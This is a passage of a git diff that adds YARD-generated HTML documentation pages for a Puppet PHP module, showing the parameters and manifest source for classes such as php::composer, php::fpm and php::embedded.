    +  Stdlib::Absolutepath $config_root_ini           = $::php::params::config_root_ini,
    +  Stdlib::Absolutepath $config_root_inifile       = $::php::params::config_root_inifile,
    +  Optional[Stdlib::Absolutepath] $ext_tool_enable = $::php::params::ext_tool_enable,
    +  Optional[Stdlib::Absolutepath] $ext_tool_query  = $::php::params::ext_tool_query,
    +  Boolean $ext_tool_enabled                       = $::php::params::ext_tool_enabled,
    +  String $log_owner                               = $::php::params::fpm_user,
    +  String $log_group                               = $::php::params::fpm_group,
    +) inherits ::php::params {
    +
    +  $real_fpm_package = pick($fpm_package, "${package_prefix}${::php::params::fpm_package_suffix}")
    +
    +  # Deep merge global php settings
    +  $real_settings = deep_merge($settings, hiera_hash('php::settings', {}))
    +
    +  # Deep merge global php extensions
    +  $real_extensions = deep_merge($extensions, hiera_hash('php::extensions', {}))
    +
    +  # Deep merge fpm_pools
    +  $real_fpm_pools = deep_merge($fpm_pools, hiera_hash('php::fpm_pools', {}))
    +
    +  # Deep merge fpm_global_pool_settings
    +  $real_fpm_global_pool_settings = deep_merge($fpm_global_pool_settings, hiera_hash('php::fpm_global_pool_settings', {}))
    +
    +  if $manage_repos {
    +    class { '::php::repo': }
    +    -> Anchor['php::begin']
    +  }
    +
    +  anchor { 'php::begin': }
    +    -> class { '::php::packages': }
    +    -> class { '::php::cli':
    +      settings => $real_settings,
    +    }
    +  -> anchor { 'php::end': }
    +
    +  # Configure global PHP settings in php.ini
    +  if $facts['os']['family'] != 'Debian' {
    +    Class['php::packages']
    +    -> class {'::php::global':
    +      settings => $real_settings,
    +    }
    +    -> Anchor['php::end']
    +  }
    +
    +  if $fpm { contain '::php::fpm' }
    +  if $embedded {
    +    if $facts['os']['family'] == 'RedHat' and $fpm {
    +      # Both fpm and embeded SAPIs are using same php.ini
    +      fail('Enabling both cli and embedded sapis is not currently supported')
    +    }
    +
    +    Anchor['php::begin']
    +      -> class { '::php::embedded':
    +        settings => $real_settings,
    +      }
    +    -> Anchor['php::end']
    +  }
    +  if $dev {
    +    Anchor['php::begin']
    +      -> class { '::php::dev': }
    +    -> Anchor['php::end']
    +  }
    +  if $composer {
    +    Anchor['php::begin']
    +      -> class { '::php::composer':
    +        proxy_type   => $proxy_type,
    +        proxy_server => $proxy_server,
    +      }
    +    -> Anchor['php::end']
    +  }
    +  if $pear {
    +    Anchor['php::begin']
    +      -> class { '::php::pear':
    +        ensure => $pear_ensure,
    +      }
    +    -> Anchor['php::end']
    +  }
    +  if $phpunit {
    +    Anchor['php::begin']
    +      -> class { '::php::phpunit': }
    +    -> Anchor['php::end']
    +  }
    +  if $apache_config {
    +    Anchor['php::begin']
    +      -> class { '::php::apache_config':
    +        settings => $real_settings,
    +      }
    +    -> Anchor['php::end']
    +  }
    +
    +  create_resources('::php::extension', $real_extensions, {
    +    require => Class['::php::cli'],
    +    before  => Anchor['php::end']
    +  })
    +
    +  # On FreeBSD purge the system-wide extensions.ini. It is going
    +  # to be replaced with per-module configuration files.
    +  if $::osfamily == 'FreeBSD' {
    +    # Purge the system-wide extensions.ini
    +    file { '/usr/local/etc/php/extensions.ini':
    +      ensure  => absent,
    +      require => Class['::php::packages'],
    +    }
    +  }
    +}
    +
    + + + + + + + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aapache_config.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aapache_config.html new file mode 100644 index 000000000..a26cdb1d1 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aapache_config.html @@ -0,0 +1,182 @@ + + + + + + + Puppet Class: php::apache_config + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Class: php::apache_config

    +
    + +
    +
    Inherits:
    +
    ::php::params
    +
    + + +
    +
    Defined in:
    +
    + manifests/apache_config.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Install and configure php apache settings

    + +

    === Parameters

    + +

    [inifile] + The path to the ini php-apache ini file

    + +

    [settings] + Hash with nested hash of key => value to set in inifile

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + inifile + + + (Stdlib::Absolutepath) + + + (defaults to: $::php::params::apache_inifile) + + +
    • + +
    • + + settings + + + (Hash) + + + (defaults to: {}) + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +11
    +12
    +13
    +14
    +15
    +16
    +17
    +18
    +19
    +20
    +21
    +22
    +23
    +24
    +25
    +26
    +
    +
    # File 'manifests/apache_config.pp', line 11
    +
    +class php::apache_config(
    +  Stdlib::Absolutepath $inifile = $::php::params::apache_inifile,
    +  Hash $settings                = {}
    +) inherits ::php::params {
    +
    +  if $caller_module_name != $module_name {
    +    warning('php::apache_config is private')
    +  }
    +
    +  $real_settings = deep_merge($settings, hiera_hash('php::apache::settings', {}))
    +
    +  ::php::config { 'apache':
    +    file   => $inifile,
    +    config => $real_settings,
    +  }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Acli.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Acli.html new file mode 100644 index 000000000..e58cc63cf --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Acli.html @@ -0,0 +1,182 @@ + + + + + + + Puppet Class: php::cli + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Class: php::cli

    +
    + +
    +
    Inherits:
    +
    ::php::params
    +
    + + +
    +
    Defined in:
    +
    + manifests/cli.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Install and configure php CLI

    + +

    === Parameters

    + +

    [inifile] + The path to the ini php5-cli ini file

    + +

    [settings] + Hash with nested hash of key => value to set in inifile

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + inifile + + + (Stdlib::Absolutepath) + + + (defaults to: $::php::params::cli_inifile) + + +
    • + +
    • + + settings + + + (Hash) + + + (defaults to: {}) + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +11
    +12
    +13
    +14
    +15
    +16
    +17
    +18
    +19
    +20
    +21
    +22
    +23
    +24
    +25
    +26
    +
    +
    # File 'manifests/cli.pp', line 11
    +
    +class php::cli(
    +  Stdlib::Absolutepath $inifile = $::php::params::cli_inifile,
    +  Hash $settings                = {}
    +) inherits ::php::params {
    +
    +  if $caller_module_name != $module_name {
    +    warning('php::cli is private')
    +  }
    +
    +  $real_settings = deep_merge($settings, hiera_hash('php::cli::settings', {}))
    +
    +  ::php::config { 'cli':
    +    file   => $inifile,
    +    config => $real_settings,
    +  }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Acomposer.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Acomposer.html new file mode 100644 index 000000000..7dd52e23c --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Acomposer.html @@ -0,0 +1,302 @@ + + + + + + + Puppet Class: php::composer + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Class: php::composer

    +
    + +
    +
    Inherits:
    +
    ::php::params
    +
    + + +
    +
    Defined in:
    +
    + manifests/composer.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Install composer package manager

    + +

    === Parameters

    + +

    [source] + Holds URL to the Composer source file

    + +

    [path] + Holds path to the Composer executable

    + +

    [proxy_type] + proxy server type (none|http|https|ftp)

    + +

    [proxy_server] + specify a proxy server, with port number if needed. ie: https://example.com:8080.

    + +

    [auto_update] + Defines if composer should be auto updated

    + +

    [max_age] + Defines the time in days after which an auto-update gets executed

    + +

    [root_group] + UNIX group of the root user

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + source + + + (String) + + + (defaults to: $::php::params::composer_source) + + +
    • + +
    • + + path + + + (Stdlib::Absolutepath) + + + (defaults to: $::php::params::composer_path) + + +
    • + +
    • + + proxy_type + + + (Any) + + + (defaults to: undef) + + +
    • + +
    • + + proxy_server + + + (Any) + + + (defaults to: undef) + + +
    • + +
    • + + auto_update + + + (Boolean) + + + (defaults to: true) + + +
    • + +
    • + + max_age + + + (Integer) + + + (defaults to: $::php::params::composer_max_age) + + +
    • + +
    • + + root_group + + + (Variant[Integer, String]) + + + (defaults to: $::php::params::root_group) + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +26
    +27
    +28
    +29
    +30
    +31
    +32
    +33
    +34
    +35
    +36
    +37
    +38
    +39
    +40
    +41
    +42
    +43
    +44
    +45
    +46
    +47
    +48
    +49
    +50
    +51
    +52
    +53
    +54
    +55
    +56
    +57
    +58
    +59
    +60
    +61
    +
    +
    # File 'manifests/composer.pp', line 26
    +
    +class php::composer (
    +  String $source                       = $::php::params::composer_source,
    +  Stdlib::Absolutepath $path           = $::php::params::composer_path,
    +  $proxy_type                          = undef,
    +  $proxy_server                        = undef,
    +  Boolean $auto_update                 = true,
    +  Integer $max_age                     = $::php::params::composer_max_age,
    +  Variant[Integer, String] $root_group = $::php::params::root_group,
    +) inherits ::php::params {
    +
    +  if $caller_module_name != $module_name {
    +    warning('php::composer is private')
    +  }
    +
    +  archive { 'download composer':
    +    path         => $path,
    +    source       => $source,
    +    proxy_type   => $proxy_type,
    +    proxy_server => $proxy_server,
    +  }
    +  -> file { $path:
    +    mode  => '0555',
    +    owner => root,
    +    group => $root_group,
    +  }
    +
    +  if $auto_update {
    +    class { '::php::composer::auto_update':
    +      max_age      => $max_age,
    +      source       => $source,
    +      path         => $path,
    +      proxy_type   => $proxy_type,
    +      proxy_server => $proxy_server,
    +    }
    +  }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Acomposer_3A_3Aauto_update.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Acomposer_3A_3Aauto_update.html new file mode 100644 index 000000000..16c208584 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Acomposer_3A_3Aauto_update.html @@ -0,0 +1,246 @@ + + + + + + + Puppet Class: php::composer::auto_update + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Class: php::composer::auto_update

    +
    + + +
    +
    Defined in:
    +
    + manifests/composer/auto_update.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Install composer package manager

    + +

    === Parameters

    + +

    [max_age] + Defines number of days after which Composer should be updated

    + +

    [source] + Holds URL to the Composer source file

    + +

    [path] + Holds path to the Composer executable

    + +

    [proxy_type] + proxy server type (none|http|https|ftp)

    + +

    [proxy_server] + specify a proxy server, with port number if needed. ie: https://example.com:8080.

    + +

    === Examples

    + +

    include php::composer::auto_update + class { "php::composer::auto_update": + "max_age" => 90 + }

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + max_age + + + (Any) + + + +
    • + +
    • + + source + + + (Any) + + + +
    • + +
    • + + path + + + (Any) + + + +
    • + +
    • + + proxy_type + + + (Any) + + + (defaults to: undef) + + +
    • + +
    • + + proxy_server + + + (Any) + + + (defaults to: undef) + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +28
    +29
    +30
    +31
    +32
    +33
    +34
    +35
    +36
    +37
    +38
    +39
    +40
    +41
    +42
    +43
    +44
    +45
    +46
    +47
    +48
    +49
    +50
    +51
    +52
    +53
    +
    +
    # File 'manifests/composer/auto_update.pp', line 28
    +
    +class php::composer::auto_update (
    +  $max_age,
    +  $source,
    +  $path,
    +  $proxy_type   = undef,
    +  $proxy_server = undef,
    +) {
    +
    +  if $caller_module_name != $module_name {
    +    warning('php::composer::auto_update is private')
    +  }
    +
    +  if $proxy_type and $proxy_server {
    +    $env = [ 'HOME=/root', "${proxy_type}_proxy=${proxy_server}" ]
    +  } else {
    +    $env = [ 'HOME=/root' ]
    +  }
    +
    +  exec { 'update composer':
    +    command     => "${path} --no-interaction --quiet self-update",
    +    environment => $env,
    +    onlyif      => "test `find '${path}' -mtime +${max_age}`",
    +    path        => [ '/bin/', '/sbin/' , '/usr/bin/', '/usr/sbin/', '/usr/local/bin', '/usr/local/sbin' ],
    +    require     => [File[$path], Class['::php::cli']],
    +  }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Adev.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Adev.html new file mode 100644 index 000000000..6e6ddcf8a --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Adev.html @@ -0,0 +1,216 @@ + + + + + + + Puppet Class: php::dev + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Class: php::dev

    +
    + +
    +
    Inherits:
    +
    ::php::params
    +
    + + +
    +
    Defined in:
    +
    + manifests/dev.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Install the development package with headers for PHP

    + +

    === Parameters

    + +

    [ensure] + The PHP ensure of PHP dev to install

    + +

    [package] + The package name for the PHP development files

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + ensure + + + (String) + + + (defaults to: $::php::ensure) + + +
    • + +
    • + + package + + + (String) + + + (defaults to: "${::php::package_prefix}${::php::params::dev_package_suffix}") + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +11
    +12
    +13
    +14
    +15
    +16
    +17
    +18
    +19
    +20
    +21
    +22
    +23
    +24
    +25
    +26
    +27
    +28
    +29
    +30
    +31
    +32
    +33
    +34
    +35
    +36
    +37
    +38
    +39
    +40
    +41
    +42
    +43
    +
    +
    # File 'manifests/dev.pp', line 11
    +
    +class php::dev(
    +  String $ensure  = $::php::ensure,
    +  String $package = "${::php::package_prefix}${::php::params::dev_package_suffix}",
    +) inherits ::php::params {
    +
    +  if $caller_module_name != $module_name {
    +    warning('php::dev is private')
    +  }
    +
    +  # On FreeBSD there is no 'devel' package.
    +  $real_package = $facts['os']['family'] ? {
    +    'FreeBSD' => [],
    +    default   => $package,
    +  }
    +
    +  # Default PHP come with xml module and no seperate package for it
    +  if $facts['os']['name'] == 'Ubuntu' and versioncmp($facts['os']['release']['full'], '16.04') >= 0  {
    +    ensure_packages(["${php::package_prefix}xml"], {
    +      ensure  => present,
    +      require => Class['::apt::update'],
    +    })
    +
    +    package { $real_package:
    +      ensure  => $ensure,
    +      require => Class['::php::packages'],
    +    }
    +  } else {
    +    package { $real_package:
    +      ensure  => $ensure,
    +      require => Class['::php::packages'],
    +    }
    +  }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aembedded.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aembedded.html new file mode 100644 index 000000000..050916d14 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aembedded.html @@ -0,0 +1,244 @@ + + + + + + + Puppet Class: php::embedded + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Class: php::embedded

    +
    + +
    +
    Inherits:
    +
    ::php::params
    +
    + + +
    +
    Defined in:
    +
    + manifests/embedded.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Install and configure php embedded SAPI

    + +

    === Parameters

    + +

    [inifile] + The path to the ini php5-embeded ini file

    + +

    [settings] + Hash with nested hash of key => value to set in inifile

    + +

    [package] + Specify which package to install

    + +

    [ensure] + Specify which version of the package to install

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + ensure + + + (String) + + + (defaults to: $::php::ensure) + + +
    • + +
    • + + package + + + (String) + + + (defaults to: "${::php::package_prefix}${::php::params::embedded_package_suffix}") + + +
    • + +
    • + + inifile + + + (Stdlib::Absolutepath) + + + (defaults to: $::php::params::embedded_inifile) + + +
    • + +
    • + + settings + + + (Hash) + + + (defaults to: {}) + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +17
    +18
    +19
    +20
    +21
    +22
    +23
    +24
    +25
    +26
    +27
    +28
    +29
    +30
    +31
    +32
    +33
    +34
    +35
    +36
    +37
    +38
    +39
    +40
    +41
    +42
    +43
    +44
    +45
    +46
    +47
    +
    +
    # File 'manifests/embedded.pp', line 17
    +
    +class php::embedded(
    +  String $ensure                = $::php::ensure,
    +  String $package               = "${::php::package_prefix}${::php::params::embedded_package_suffix}",
    +  Stdlib::Absolutepath $inifile = $::php::params::embedded_inifile,
    +  Hash $settings                = {},
    +) inherits ::php::params {
    +
    +  if $caller_module_name != $module_name {
    +    warning('php::embedded is private')
    +  }
    +
    +  $real_settings = deep_merge(
    +    $settings,
    +    hiera_hash('php::embedded::settings', {})
    +  )
    +
    +  $real_package = $facts['os']['family'] ? {
    +    'Debian' => "lib${package}",
    +    default   => $package,
    +  }
    +
    +  package { $real_package:
    +    ensure  => $ensure,
    +    require => Class['::php::packages'],
    +  }
    +  -> ::php::config { 'embedded':
    +    file   => $inifile,
    +    config => $real_settings,
    +  }
    +
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Afpm.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Afpm.html new file mode 100644 index 000000000..0652b66fe --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Afpm.html @@ -0,0 +1,482 @@ + + + + + + + Puppet Class: php::fpm + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Class: php::fpm

    +
    + + +
    +
    Defined in:
    +
    + manifests/fpm.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Install and configure mod_php for fpm

    + +

    === Parameters

    + +

    [user] + The user that php-fpm should run as

    + +

    [group] + The group that php-fpm should run as

    + +

    [service_enable] + Enable/disable FPM service

    + +

    [service_ensure] + Ensure FPM service is either 'running' or 'stopped'

    + +

    [service_name] + This is the name of the php-fpm service. It defaults to reasonable OS + defaults but can be different in case of using php7.0/other OS/custom fpm service

    + +

    [service_provider] + This is the name of the service provider, in case there is a non + OS default service provider used to start FPM. + Defaults to 'undef', pick system defaults.

    + +

    [pools] + Hash of php::fpm::pool resources that will be created. Defaults + to a single php::fpm::pool named www with default parameters.

    + +

    [log_owner] + The php-fpm log owner

    + +

    [log_group] + The group owning php-fpm logs

    + +

    [package] + Specify which package to install

    + +

    [ensure] + Specify which version of the package to install

    + +

    [inifile] + Path to php.ini for fpm

    + +

    [settings] + fpm settings hash

    + +

    [global_pool_settings] + Hash of defaults params php::fpm::pool resources that will be created. + Defaults is empty hash.

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + ensure + + + (String) + + + (defaults to: $::php::ensure) + + +
    • + +
    • + + user + + + (Any) + + + (defaults to: $::php::fpm_user) + + +
    • + +
    • + + group + + + (Any) + + + (defaults to: $::php::fpm_group) + + +
    • + +
    • + + service_ensure + + + (Any) + + + (defaults to: $::php::fpm_service_ensure) + + +
    • + +
    • + + service_enable + + + (Any) + + + (defaults to: $::php::fpm_service_enable) + + +
    • + +
    • + + service_name + + + (Any) + + + (defaults to: $::php::fpm_service_name) + + +
    • + +
    • + + service_provider + + + (Any) + + + (defaults to: $::php::fpm_service_provider) + + +
    • + +
    • + + package + + + (String) + + + (defaults to: $::php::real_fpm_package) + + +
    • + +
    • + + inifile + + + (Stdlib::Absolutepath) + + + (defaults to: $::php::fpm_inifile) + + +
    • + +
    • + + settings + + + (Hash) + + + (defaults to: $::php::real_settings) + + +
    • + +
    • + + global_pool_settings + + + (Any) + + + (defaults to: $::php::real_fpm_global_pool_settings) + + +
    • + +
    • + + pools + + + (Hash) + + + (defaults to: $::php::real_fpm_pools) + + +
    • + +
    • + + log_owner + + + (Any) + + + (defaults to: $::php::log_owner) + + +
    • + +
    • + + log_group + + + (Any) + + + (defaults to: $::php::log_group) + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +52
    +53
    +54
    +55
    +56
    +57
    +58
    +59
    +60
    +61
    +62
    +63
    +64
    +65
    +66
    +67
    +68
    +69
    +70
    +71
    +72
    +73
    +74
    +75
    +76
    +77
    +78
    +79
    +80
    +81
    +82
    +83
    +84
    +85
    +86
    +87
    +88
    +89
    +90
    +91
    +92
    +93
    +94
    +95
    +96
    +97
    +98
    +99
    +100
    +101
    +102
    +103
    +104
    +105
    +106
    +107
    +108
    +109
    +110
    +111
    +112
    +113
    +114
    +115
    +116
    +117
    +118
    +119
    +120
    +121
    +
    +
    # File 'manifests/fpm.pp', line 52
    +
    +class php::fpm (
    +  String $ensure                = $::php::ensure,
    +  $user                         = $::php::fpm_user,
    +  $group                        = $::php::fpm_group,
    +  $service_ensure               = $::php::fpm_service_ensure,
    +  $service_enable               = $::php::fpm_service_enable,
    +  $service_name                 = $::php::fpm_service_name,
    +  $service_provider             = $::php::fpm_service_provider,
    +  String $package               = $::php::real_fpm_package,
    +  Stdlib::Absolutepath $inifile = $::php::fpm_inifile,
    +  Hash $settings                = $::php::real_settings,
    +  $global_pool_settings         = $::php::real_fpm_global_pool_settings,
    +  Hash $pools                   = $::php::real_fpm_pools,
    +  $log_owner                    = $::php::log_owner,
    +  $log_group                    = $::php::log_group,
    +) {
    +
    +  if ! defined(Class['php']) {
    +    warning('php::fpm is private')
    +  }
    +
    +  $real_settings = deep_merge($settings, hiera_hash('php::fpm::settings', {}))
    +
    +  # On FreeBSD fpm is not a separate package, but included in the 'php' package.
    +  # Implies that the option SET+=FPM was set when building the port.
    +  $real_package = $facts['os']['family'] ? {
    +    'FreeBSD' => [],
    +    default   => $package,
    +  }
    +
    +  package { $real_package:
    +    ensure  => $ensure,
    +    require => Class['::php::packages'],
    +  }
    +
    +  class { '::php::fpm::config':
    +    user      => $user,
    +    group     => $group,
    +    inifile   => $inifile,
    +    settings  => $real_settings,
    +    log_owner => $log_owner,
    +    log_group => $log_group,
    +    require   => Package[$real_package],
    +  }
    +  contain '::php::fpm::config'
    +  contain '::php::fpm::service'
    +
    +  Class['php::fpm::config'] ~> Class['php::fpm::service']
    +
    +  $real_global_pool_settings = hiera_hash('php::fpm::global_pool_settings', $global_pool_settings)
    +  $real_pools = hiera_hash('php::fpm::pools', $pools)
    +  create_resources(::php::fpm::pool, $real_pools, $real_global_pool_settings)
    +
    +  # Create an override to use a reload signal as trusty and utopic's
    +  # upstart version supports this
    +  if ($facts['os']['name'] == 'Ubuntu'
    +      and versioncmp($facts['os']['release']['full'], '14') >= 0
    +      and versioncmp($facts['os']['release']['full'], '16') < 0) {
    +    if ($service_enable) {
    +      $fpm_override = 'reload signal USR2'
    +    }
    +    else {
    +      $fpm_override = "reload signal USR2\nmanual"
    +    }
    +    file { "/etc/init/${::php::fpm::service::service_name}.override":
    +      content => $fpm_override,
    +      before  => Package[$real_package],
    +    }
    +  }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Afpm_3A_3Aconfig.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Afpm_3A_3Aconfig.html new file mode 100644 index 000000000..8dbc64390 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Afpm_3A_3Aconfig.html @@ -0,0 +1,596 @@ + + + + + + + Puppet Class: php::fpm::config + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Class: php::fpm::config

    +
    + +
    +
    Inherits:
    +
    ::php::params
    +
    + + +
    +
    Defined in:
    +
    + manifests/fpm/config.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Configure php-fpm service

    + +

    === Parameters

    + +

    [config_file] + The path to the fpm config file

    + +

    [user] + The user that runs php-fpm

    + +

    [group] + The group that runs php-fpm

    + +

    [inifile] + The path to ini file

    + +

    [settings] + Nested hash of key => value to apply to php.ini

    + +

    [pool_base_dir] + The folder that contains the php-fpm pool configs

    + +

    [pool_purge] + Whether to purge pool config files not created + by this module

    + +

    [error_log] + Path to error log file. If it's set to "syslog", log is + sent to syslogd instead of being written in a local file.

    + +

    [log_level] + The php-fpm log level

    + +

    [emergency_restart_threshold] + The php-fpm emergency_restart_threshold

    + +

    [emergency_restart_interval] + The php-fpm emergency_restart_interval

    + +

    [process_control_timeout] + The php-fpm process_control_timeout

    + +

    [process_max] + The maximum number of processes FPM will fork.

    + +

    [rlimit_files] + Set open file descriptor rlimit for the master process.

    + +

    [systemd_interval] + The interval between health report notification to systemd

    + +

    [log_owner] + The php-fpm log owner

    + +

    [log_group] + The group owning php-fpm logs

    + +

    [log_dir_mode] + The octal mode of the directory

    + +

    [syslog_facility] + Used to specify what type of program is logging the message

    + +

    [syslog_ident] + Prepended to every message

    + +

    [root_group] + UNIX group of the root user

    + +

    [pid_file] + Path to fpm pid file

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + config_file + + + (Any) + + + (defaults to: $::php::params::fpm_config_file) + + +
    • + +
    • + + user + + + (String) + + + (defaults to: $::php::params::fpm_user) + + +
    • + +
    • + + group + + + (String) + + + (defaults to: $::php::params::fpm_group) + + +
    • + +
    • + + inifile + + + (String) + + + (defaults to: $::php::params::fpm_inifile) + + +
    • + +
    • + + pid_file + + + (Any) + + + (defaults to: $::php::params::fpm_pid_file) + + +
    • + +
    • + + settings + + + (Hash) + + + (defaults to: {}) + + +
    • + +
    • + + pool_base_dir + + + (Stdlib::Absolutepath) + + + (defaults to: $::php::params::fpm_pool_dir) + + +
    • + +
    • + + pool_purge + + + (Any) + + + (defaults to: false) + + +
    • + +
    • + + error_log + + + (String) + + + (defaults to: $::php::params::fpm_error_log) + + +
    • + +
    • + + log_level + + + (String) + + + (defaults to: 'notice') + + +
    • + +
    • + + emergency_restart_threshold + + + (Integer) + + + (defaults to: 0) + + +
    • + +
    • + + emergency_restart_interval + + + (Variant[Integer, Pattern[/^\d+[smhd]?$/]]) + + + (defaults to: 0) + + +
    • + +
    • + + process_control_timeout + + + (Variant[Integer, Pattern[/^\d+[smhd]?$/]]) + + + (defaults to: 0) + + +
    • + +
    • + + process_max + + + (Integer) + + + (defaults to: 0) + + +
    • + +
    • + + rlimit_files + + + (Any) + + + (defaults to: undef) + + +
    • + +
    • + + systemd_interval + + + (Optional[Variant[Integer,Pattern[/^\d+[smhd]?$/]]]) + + + (defaults to: undef) + + +
    • + +
    • + + log_owner + + + (String) + + + (defaults to: $::php::params::fpm_user) + + +
    • + +
    • + + log_group + + + (String) + + + (defaults to: $::php::params::fpm_group) + + +
    • + +
    • + + log_dir_mode + + + (Pattern[/^\d+$/]) + + + (defaults to: '0770') + + +
    • + +
    • + + root_group + + + (Any) + + + (defaults to: $::php::params::root_group) + + +
    • + +
    • + + syslog_facility + + + (String) + + + (defaults to: 'daemon') + + +
    • + +
    • + + syslog_ident + + + (String) + + + (defaults to: 'php-fpm') + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +73
    +74
    +75
    +76
    +77
    +78
    +79
    +80
    +81
    +82
    +83
    +84
    +85
    +86
    +87
    +88
    +89
    +90
    +91
    +92
    +93
    +94
    +95
    +96
    +97
    +98
    +99
    +100
    +101
    +102
    +103
    +104
    +105
    +106
    +107
    +108
    +109
    +110
    +111
    +112
    +113
    +114
    +115
    +116
    +117
    +118
    +119
    +120
    +121
    +122
    +123
    +124
    +125
    +126
    +127
    +128
    +129
    +130
    +131
    +132
    +133
    +134
    +
    +
    # File 'manifests/fpm/config.pp', line 73
    +
    +class php::fpm::config(
    +  $config_file                                                          = $::php::params::fpm_config_file,
    +  String $user                                                          = $::php::params::fpm_user,
    +  String $group                                                         = $::php::params::fpm_group,
    +  String $inifile                                                       = $::php::params::fpm_inifile,
    +  $pid_file                                                             = $::php::params::fpm_pid_file,
    +  Hash $settings                                                        = {},
    +  Stdlib::Absolutepath $pool_base_dir                                   = $::php::params::fpm_pool_dir,
    +  $pool_purge                                                           = false,
    +  String $error_log                                                     = $::php::params::fpm_error_log,
    +  String $log_level                                                     = 'notice',
    +  Integer $emergency_restart_threshold                                  = 0,
    +  Variant[Integer, Pattern[/^\d+[smhd]?$/]] $emergency_restart_interval = 0,
    +  Variant[Integer, Pattern[/^\d+[smhd]?$/]] $process_control_timeout    = 0,
    +  Integer $process_max                                                  = 0,
    +  $rlimit_files                                                         = undef,
    +  Optional[Variant[Integer,Pattern[/^\d+[smhd]?$/]]] $systemd_interval  = undef,
    +  String $log_owner                                                     = $::php::params::fpm_user,
    +  String $log_group                                                     = $::php::params::fpm_group,
    +  Pattern[/^\d+$/] $log_dir_mode                                        = '0770',
    +  $root_group                                                           = $::php::params::root_group,
    +  String $syslog_facility                                               = 'daemon',
    +  String $syslog_ident                                                  = 'php-fpm',
    +) inherits ::php::params {
    +
    +  if $caller_module_name != $module_name {
    +    warning('php::fpm::config is private')
    +  }
    +
    +  # Hack-ish to default to user for group too
    +  $log_group_final = $log_group ? {
    +    undef   => $log_owner,
    +    default => $log_group,
    +  }
    +
    +  file { $config_file:
    +    ensure  => file,
    +    content => template('php/fpm/php-fpm.conf.erb'),
    +    owner   => root,
    +    group   => $root_group,
    +    mode    => '0644',
    +  }
    +
    +  file { $pool_base_dir:
    +    ensure => directory,
    +    owner  => root,
    +    group  => $root_group,
    +    mode   => '0755',
    +  }
    +
    +  if $pool_purge {
    +    File[$pool_base_dir] {
    +      purge   => true,
    +      recurse => true,
    +    }
    +  }
    +
